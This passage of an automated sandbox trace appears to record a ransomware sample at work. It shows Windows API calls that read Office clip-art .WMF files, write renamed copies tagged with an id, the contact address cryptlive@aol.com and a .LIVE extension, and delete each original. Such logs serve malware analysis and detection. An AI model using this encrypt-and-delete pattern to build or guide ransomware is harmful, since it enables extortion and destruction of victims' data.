lpString2=".WMF") returned -1 [0139.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0139.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0139.755] lstrlenW (lpString=".doc") returned 4 [0139.755] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.755] lstrlenW (lpString=".docx") returned 5 [0139.941] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.941] lstrlenW (lpString=".pdf") returned 4 [0139.941] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.941] lstrlenW (lpString=".xls") returned 4 [0139.941] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.941] lstrlenW (lpString=".xlsx") returned 5 [0139.941] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.941] lstrlenW (lpString=".ppt") returned 4 [0139.941] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0139.941] lstrlenW (lpString=".zip") returned 4 [0139.941] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.941] lstrlenW (lpString=".rar") returned 4 [0139.942] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.942] lstrlenW (lpString=".bz2") returned 4 [0139.942] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.942] lstrlenW (lpString=".7z") returned 3 [0139.942] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0139.942] lstrlenW (lpString=".dbf") returned 4 [0139.942] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0139.942] lstrlenW (lpString=".1cd") returned 4 [0139.942] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0139.942] lstrlenW (lpString=".jpg") returned 4 [0139.942] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.942] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0139.942] lstrlenW (lpString="BS00441_.WMF") returned 12 [0139.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0140.064] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=3524) returned 1 [0140.064] CloseHandle (hObject=0x390) returned 1 [0140.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf")) returned 0x20 [0140.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0140.065] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.065] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0140.066] GetLastError () returned 0x0 [0140.066] ReadFile (in: hFile=0x390, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0xdc4, lpOverlapped=0x0) returned 1 [0140.073] WriteFile (in: hFile=0x3ac, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xdd0, lpOverlapped=0x0) returned 1 [0140.075] ReadFile (in: hFile=0x390, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0140.075] WriteFile (in: hFile=0x3ac, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0140.075] SetEndOfFile (hFile=0x3ac) returned 1 [0140.075] CloseHandle (hObject=0x3ac) returned 1 [0140.076] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.076] SetEndOfFile (hFile=0x390) returned 1 [0140.078] CloseHandle (hObject=0x390) returned 1 [0140.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.167] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf")) returned 1 [0140.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0140.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0140.168] lstrlenW (lpString=".doc") returned 4 [0140.168] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.168] lstrlenW (lpString=".docx") returned 5 [0140.168] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.168] lstrlenW (lpString=".pdf") returned 4 [0140.168] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.168] lstrlenW (lpString=".xls") returned 4 [0140.168] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.168] lstrlenW (lpString=".xlsx") returned 5 [0140.168] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.168] lstrlenW (lpString=".ppt") returned 4 [0140.168] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0140.168] lstrlenW (lpString=".zip") returned 4 [0140.168] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.168] lstrlenW (lpString=".rar") returned 4 [0140.168] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.168] lstrlenW (lpString=".bz2") returned 4 [0140.168] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.168] lstrlenW (lpString=".7z") returned 3 [0140.168] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0140.168] lstrlenW (lpString=".dbf") returned 4 [0140.168] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0140.168] lstrlenW (lpString=".1cd") returned 4 [0140.168] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0140.168] lstrlenW (lpString=".jpg") returned 4 [0140.168] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0140.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0140.169] lstrlenW (lpString=".doc") returned 4 [0140.169] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.169] lstrlenW (lpString=".docx") returned 5 [0140.169] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.169] lstrlenW (lpString=".pdf") returned 4 [0140.169] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.169] lstrlenW (lpString=".xls") returned 4 [0140.169] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.169] lstrlenW (lpString=".xlsx") returned 5 [0140.169] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.169] lstrlenW (lpString=".ppt") returned 4 [0140.169] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0140.169] lstrlenW (lpString=".zip") returned 4 [0140.169] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.169] lstrlenW (lpString=".rar") returned 4 [0140.169] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.169] lstrlenW (lpString=".bz2") returned 4 [0140.169] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.169] lstrlenW (lpString=".7z") returned 3 [0140.169] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0140.169] lstrlenW (lpString=".dbf") returned 4 [0140.169] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0140.169] lstrlenW (lpString=".1cd") returned 4 [0140.169] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0140.169] lstrlenW (lpString=".jpg") returned 4 [0140.169] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.169] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0140.169] lstrlenW (lpString="BS00444_.WMF") returned 12 [0140.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0140.181] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=3896) returned 1 [0140.181] CloseHandle (hObject=0x3b0) returned 1 [0140.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf")) returned 0x20 [0140.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0140.282] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.282] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0140.283] GetLastError () returned 0x0 [0140.283] ReadFile (in: hFile=0x3ac, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0xf38, lpOverlapped=0x0) returned 1 [0140.306] WriteFile (in: hFile=0x36c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xf40, lpOverlapped=0x0) returned 1 [0140.307] ReadFile (in: hFile=0x3ac, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0140.307] WriteFile (in: hFile=0x36c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0140.307] SetEndOfFile (hFile=0x36c) returned 1 [0140.307] CloseHandle (hObject=0x36c) returned 1 [0140.308] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.308] SetEndOfFile (hFile=0x3ac) returned 1 [0140.310] CloseHandle (hObject=0x3ac) returned 1 [0140.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.310] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf")) returned 1 [0140.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0140.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0140.311] lstrlenW (lpString=".doc") returned 4 [0140.311] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.311] lstrlenW (lpString=".docx") returned 5 [0140.311] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.311] lstrlenW (lpString=".pdf") returned 4 [0140.311] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.311] lstrlenW (lpString=".xls") returned 4 [0140.311] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.311] lstrlenW (lpString=".xlsx") returned 5 [0140.311] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.311] lstrlenW (lpString=".ppt") returned 4 [0140.311] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0140.311] lstrlenW (lpString=".zip") returned 4 [0140.311] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.311] lstrlenW (lpString=".rar") returned 4 [0140.311] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.311] lstrlenW (lpString=".bz2") returned 4 [0140.311] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.311] lstrlenW (lpString=".7z") returned 3 [0140.311] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0140.311] lstrlenW (lpString=".dbf") returned 4 [0140.311] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0140.311] lstrlenW (lpString=".1cd") returned 4 [0140.312] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0140.312] lstrlenW (lpString=".jpg") returned 4 [0140.312] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0140.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0140.312] lstrlenW (lpString=".doc") returned 4 [0140.312] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.312] lstrlenW (lpString=".docx") returned 5 [0140.312] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.312] lstrlenW (lpString=".pdf") returned 4 [0140.312] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.312] lstrlenW (lpString=".xls") returned 4 [0140.312] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.312] lstrlenW (lpString=".xlsx") returned 5 [0140.312] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.312] lstrlenW (lpString=".ppt") returned 4 [0140.312] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0140.312] lstrlenW (lpString=".zip") returned 4 [0140.312] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.312] lstrlenW (lpString=".rar") returned 4 [0140.312] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.312] lstrlenW (lpString=".bz2") returned 4 [0140.312] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.312] lstrlenW (lpString=".7z") returned 3 [0140.312] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0140.312] lstrlenW (lpString=".dbf") returned 4 [0140.312] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0140.312] lstrlenW (lpString=".1cd") returned 4 [0140.312] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0140.312] lstrlenW (lpString=".jpg") returned 4 [0140.312] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.313] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0140.313] lstrlenW (lpString="BS01638_.WMF") returned 12 [0140.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0140.313] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=10538) returned 1 [0140.313] CloseHandle (hObject=0x3ac) returned 1 [0140.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf")) returned 0x20 [0140.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0140.314] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.314] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0140.314] GetLastError () returned 0x0 [0140.314] ReadFile (in: hFile=0x3ac, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x292a, lpOverlapped=0x0) returned 1 [0140.384] WriteFile (in: hFile=0x36c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x2930, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x2930, lpOverlapped=0x0) returned 1 [0140.385] ReadFile (in: hFile=0x3ac, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0140.385] WriteFile (in: hFile=0x36c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0140.385] SetEndOfFile (hFile=0x36c) returned 1 [0140.385] CloseHandle (hObject=0x36c) returned 1 [0140.385] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.385] SetEndOfFile (hFile=0x3ac) returned 1 [0140.387] CloseHandle (hObject=0x3ac) returned 1 [0140.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.388] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf")) returned 1 [0140.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0140.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0140.389] lstrlenW (lpString=".doc") returned 4 [0140.389] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.389] lstrlenW (lpString=".docx") returned 5 [0140.389] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.389] lstrlenW (lpString=".pdf") returned 4 [0140.389] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.389] lstrlenW (lpString=".xls") returned 4 [0140.389] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.389] lstrlenW (lpString=".xlsx") returned 5 [0140.389] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.389] lstrlenW (lpString=".ppt") returned 4 [0140.389] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0140.389] lstrlenW (lpString=".zip") returned 4 [0140.389] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.389] lstrlenW (lpString=".rar") returned 4 [0140.389] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.389] lstrlenW (lpString=".bz2") returned 4 [0140.389] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.389] lstrlenW (lpString=".7z") returned 3 [0140.389] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0140.389] lstrlenW (lpString=".dbf") returned 4 [0140.389] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0140.389] lstrlenW (lpString=".1cd") returned 4 [0140.389] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0140.389] lstrlenW (lpString=".jpg") returned 4 [0140.389] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0140.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0140.390] lstrlenW (lpString=".doc") returned 4 [0140.390] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.390] lstrlenW (lpString=".docx") returned 5 [0140.390] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.390] lstrlenW (lpString=".pdf") returned 4 [0140.390] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.390] lstrlenW (lpString=".xls") returned 4 [0140.390] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.390] 